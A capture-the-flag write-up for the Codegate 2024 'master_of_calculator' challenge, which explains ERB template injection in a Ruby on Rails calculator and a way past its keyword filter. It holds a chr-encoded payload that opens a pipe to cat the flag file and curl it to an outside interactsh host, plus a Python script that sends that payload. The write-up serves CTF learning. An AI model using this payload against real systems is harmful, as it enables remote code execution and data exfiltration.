Introduction
Hello! It’s been a while since I’ve written a write-up. On the first weekend of June, I finally had spare time to play the Codegate CTF 2024 Prelim. At first I thought of playing vsCTF, but it has been postponed for 2 weeks. Overall, the Codegate CTF 2024 Prelim were pretty challenging, and I didn’t have much time to look at all of them due to some other stuff happening on Saturday. I was only able to solve 1 web challenge, master_of_calculator. Though, I still had fun and I learned a lot about Ruby.
master_of_calculator
For this challenge we were given a website which looks like a normal calculator. You were also given the source code for review.
The website is based on Ruby on Rails which follows a commonly seen MVC (Model-View-Controller) architectural pattern.
Usually, most of the logic of the website is stored inside the Controller and it is the first thing we inspected. We found a very interesting file called the home_controller.rb
which basically holds the logic behind the home page which is also the front page that we are seeing.
class HomeController < ApplicationController
skip_forgery_protection :only => [:calculate_fee]
FILTER = ["system", "eval", "exec", "Dir", "File", "IO", "require", "fork", "spawn", "syscall", '"', "'", "(", ")", "[", "]","{","}", "`", "%","<",">"]
def index
render :home
end
def calculate_fee
entry_price = params[:user_entry_price]
exit_price = params[:user_exit_price]
leverage = params[:user_leverage].to_f
quantity = params[:user_quantity]
if [entry_price, exit_price, leverage, quantity].map(&:to_s).any? { |input| FILTER.any? { |word| input.include?(word) } }
response = "filtered"
else
response = ERB.new(<<~FORMULA
<% pnl = ((#{exit_price} - #{entry_price}) * #{quantity} * #{leverage}).round(3) %>
<% roi = (((#{exit_price} - #{entry_price}) * 100.0 / #{entry_price} * #{leverage})).round(3) %>
<% initial_margin = ((#{entry_price} * #{quantity}) / #{leverage}).round(3) %>
<%= pnl %>
<%= roi %>%
<%= initial_margin %>
FORMULA
).result(binding)
response = response.sub("\n\n\n","")
pnl, roi, margin = response.split("\n")
end
render json: { response: response, pnl: pnl, roi: roi, margin: margin }
end
end
This particular code block is dangerous and is vulnerable to SSTI and RCE. ERB.new()
ERB.new(<<~FORMULA
<% pnl = ((#{exit_price} - #{entry_price}) * #{quantity} * #{leverage}).round(3) %>
<% roi = (((#{exit_price} - #{entry_price}) * 100.0 / #{entry_price} * #{leverage})).round(3) %>
<% initial_margin = ((#{entry_price} * #{quantity}) / #{leverage}).round(3) %>
<%= pnl %>
<%= roi %>%
<%= initial_margin %>
FORMULA
)
An attacker can just escape out of it, and run their own Ruby code on the server!
Here’s an example:
response = ERB.new(<<~FORMULA
<% pnl = ((2 - 1); system('whoami'); (1) * 100 * 10).round(3) %>
<% roi = (((2 - 1); system('whoami'); (1) * 100.0 / 1); system('whoami'); (1) * 10).round(3) %>
<% initial_margin = ((1) * 100 / 10).round(3) %>
<%= pnl %>
<%= roi %>%
<%= initial_margin %>
FORMULA
).result(binding)
# this will execute whoami on the system
The challenge here is that there’s a pretty hefty filter which limits what kind of payload we can use.
FILTER = ["system", "eval", "exec", "Dir", "File", "IO", "require", "fork", "spawn", "syscall", '"', "'", "(", ")", "[", "]","{","}", "`", "%","<",">"]
if [entry_price, exit_price, leverage, quantity].map(&:to_s).any? { |input| FILTER.any? { |word| input.include?(word) } }
response = "filtered"
Solution
At a glance, this seems like a pretty difficult filter to work with, since it’s blocking all quotes, bracket, parentheses, %, <>, [] and some of the system/exec functions.
After further research, we learned that it’s possible to invoke the open()
function and set a pipe so that it could do command injection
open("|" + commandinjectionvarhere, "r")
# this pipe | will open a subprocess and run any command injection that you specify. ex: cat,curl etc
But wait, it’s using the blocked chars which is parentheses and quotes. How can we bypass it?
Good thing about Ruby is that, it allows you to run function/method without using any parentheses!
open "|" + commandinjectionvarhere, "r"
# this will work too :D
So next what we can do to bypass the quotes filter is to use the Ruby integer .chr
function
For this challenge, I used the challenge server curl
, to send the flag file to me through out-of-bound receiver (interactsh)
Here is the full Ruby payload.
slash = 47.chr;
space = 32.chr;
pipe = 124.chr;
curl = 99.chr + 117.chr + 114.chr + 108.chr;
dash = 45.chr;
bigx = 88.chr;
post = 80.chr + 79.chr + 83.chr + 84.chr;
dashd = dash + 100.chr;
pipe = 124.chr;
cat = 99.chr + 97.chr + 116.chr;
r = 114.chr;
flagfile = slash + 114.chr + 97.chr + 105.chr + 108.chr + 115.chr + slash + 102.chr + 108.chr + 97.chr + 103.chr + 45.chr + 49.chr + 57.chr + 101.chr + 54.chr + 99.chr + 102.chr + 50.chr + 102.chr + 99.chr + 102.chr + 101.chr + 100.chr + 52.chr + 55.chr + 56.chr + 49.chr + 98.chr + 55.chr + 99.chr + 53.chr + 52.chr + 97.chr + 55.chr + 99.chr + 97.chr + 51.chr + 97.chr + 98.chr + 54.chr + 55.chr + 100.chr + 100.chr;
ooblink = 104.chr + 116.chr + 116.chr + 112.chr + 58.chr + 47.chr + 47.chr + 108.chr + 97.chr + 100.chr + 120.chr + 98.chr + 114.chr + 113.chr + 107.chr + 99.chr + 99.chr + 99.chr + 110.chr + 111.chr + 99.chr + 110.chr + 102.chr + 111.chr + 122.chr + 107.chr + 100.chr + 57.chr + 122.chr + 117.chr + 121.chr + 119.chr + 118.chr + 56.chr + 52.chr + 122.chr + 120.chr + 110.chr + 105.chr + 57.chr + 46.chr + 111.chr + 97.chr + 115.chr + 116.chr + 46.chr + 102.chr + 117.chr + 110.chr;
read = cat + space + flagfile + space + pipe + space + curl + space + dash + bigx + space + post + space + ooblink + space + dashd + space + 64.chr + 45.chr;
open pipe + read, r
# This will basically send the flag directly to my Out-of-bound interactsh server
And here is the full solution Python script for automation.
import requests
url = 'http://3.34.253.4:3000/calculate_fee'
payload = """
slash = 47.chr;
space = 32.chr;
pipe = 124.chr;
curl = 99.chr + 117.chr + 114.chr + 108.chr;
dash = 45.chr;
bigx = 88.chr;
post = 80.chr + 79.chr + 83.chr + 84.chr;
dashd = dash + 100.chr;
pipe = 124.chr;
cat = 99.chr + 97.chr + 116.chr;
r = 114.chr;
flagfile = slash + 114.chr + 97.chr + 105.chr + 108.chr + 115.chr + slash + 102.chr + 108.chr + 97.chr + 103.chr + 45.chr + 49.chr + 57.chr + 101.chr + 54.chr + 99.chr + 102.chr + 50.chr + 102.chr + 99.chr + 102.chr + 101.chr + 100.chr + 52.chr + 55.chr + 56.chr + 49.chr + 98.chr + 55.chr + 99.chr + 53.chr + 52.chr + 97.chr + 55.chr + 99.chr + 97.chr + 51.chr + 97.chr + 98.chr + 54.chr + 55.chr + 100.chr + 100.chr;
ooblink = 104.chr + 116.chr + 116.chr + 112.chr + 58.chr + 47.chr + 47.chr + 108.chr + 97.chr + 100.chr + 120.chr + 98.chr + 114.chr + 113.chr + 107.chr + 99.chr + 99.chr + 99.chr + 110.chr + 111.chr + 99.chr + 110.chr + 102.chr + 111.chr + 122.chr + 107.chr + 100.chr + 57.chr + 122.chr + 117.chr + 121.chr + 119.chr + 118.chr + 56.chr + 52.chr + 122.chr + 120.chr + 110.chr + 105.chr + 57.chr + 46.chr + 111.chr + 97.chr + 115.chr + 116.chr + 46.chr + 102.chr + 117.chr + 110.chr;
read = cat + space + flagfile + space + pipe + space + curl + space + dash + bigx + space + post + space + ooblink + space + dashd + space + 64.chr + 45.chr;
open pipe + read, r
"""
data = {
'user_entry_price': "1;" + payload.replace('\n', ' '),
'user_exit_price': '2',
'user_leverage': '1',
'user_quantity': '1'
}
response = requests.post(url, data=data)
print(response.text)
Send the payload, and you’ll get the flag!
Flag: codegate2024{sup3r_dup3r_ruby_trick_m4st3r}
Thanks for readng my write-up!